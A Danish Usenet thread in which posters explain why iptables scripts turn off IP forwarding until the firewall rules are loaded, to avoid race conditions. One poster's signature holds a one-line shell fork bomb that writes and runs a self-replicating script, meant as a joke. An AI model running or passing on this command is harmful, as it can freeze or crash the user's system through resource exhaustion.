---

Hej ng.

Er der nogen god grund til at man tit ser iptables scripts der starter med
at disable forwarding mend kommandoen echo 0 >
/proc/sys/net/ipv4/ip_forward for at starte den igen efter påførsel af
diverse regler?

--
Mvh.
Kasper Nordal Lund

---

Kasper Nordal Lund wrote:
> Hej ng.
>
> Er der nogen god grund til at man tit ser iptables scripts der starter med
> at disable forwarding mend kommandoen echo 0 >
> /proc/sys/net/ipv4/ip_forward for at starte den igen efter påførsel af
> diverse regler?

Måske fordi der er regler for forward-kæden, og at man så selvfølgelig
ikke ønsker at tillade forward, indtil at reglerne er "initialiseret"?

Mvh
Tonni

---

In news:JSRNb.3479$%H1.260@news.get2net.dk,
Tonni Aagesen <use.my@signature.please> wrote:

>> Er der nogen god grund til at man tit ser iptables scripts der
>> starter med at disable forwarding mend kommandoen echo 0 >
>> /proc/sys/net/ipv4/ip_forward for at starte den igen efter påførsel
>> af diverse regler?
>
> Måske fordi der er regler for forward-kæden, og at man så selvfølgelig
> ikke ønsker at tillade forward, indtil at reglerne er "initialiseret"?

Sandsynligvis... Dvs for at forhindre eller mindske "race conditions".

--
Michal
[ echo "\$0&\$0" > _; chmod +x _; ./_ ]